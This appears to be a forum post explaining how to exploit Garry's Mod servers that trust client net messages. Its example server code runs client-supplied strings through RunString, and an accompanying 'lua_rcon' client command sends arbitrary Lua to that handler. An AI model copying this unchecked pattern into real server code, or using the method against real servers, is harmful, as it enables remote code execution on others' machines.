Originally Posted by luismc10
It isn't server sided though
When people use net.send basically means that they trust what the client sends (You can also spoof what you net.recieve)
If the server trusts the client (And doesnt check) it lets you exploit, and very few servers will check, Although the ability to read shared and clientside lua scripts is needed
When people use net.send basically means that they trust what the client sends (You can also spoof what you net.recieve)
If the server trusts the client (And doesnt check) it lets you exploit, and very few servers will check, Although the ability to read shared and clientside lua scripts is needed
If you have the client side net.Start and server side net.Recieve, first check the layout on what you have to send, then you check what the server does with it(if u dont have server side just guess) then you create an exploit that sends it here is example code that is really stupid if it was real
Code:
--Serverside
util.AddNetworkString( "bonk" )
net.Recieve( "bonk", function( len, ply )
RunString(net.ReadString())
end )
--ClientSide
function Reload()
net.Start("bonk")
net.WriteString("lua_reloadents")
net.SendToServer()
end
Code:
function luaRcon(ply,cmd,args)
net.Start("bonk")
net.WriteString(args[1])
net.SendToServer()
end
concommand.Add("lua_rcon",luaRcon)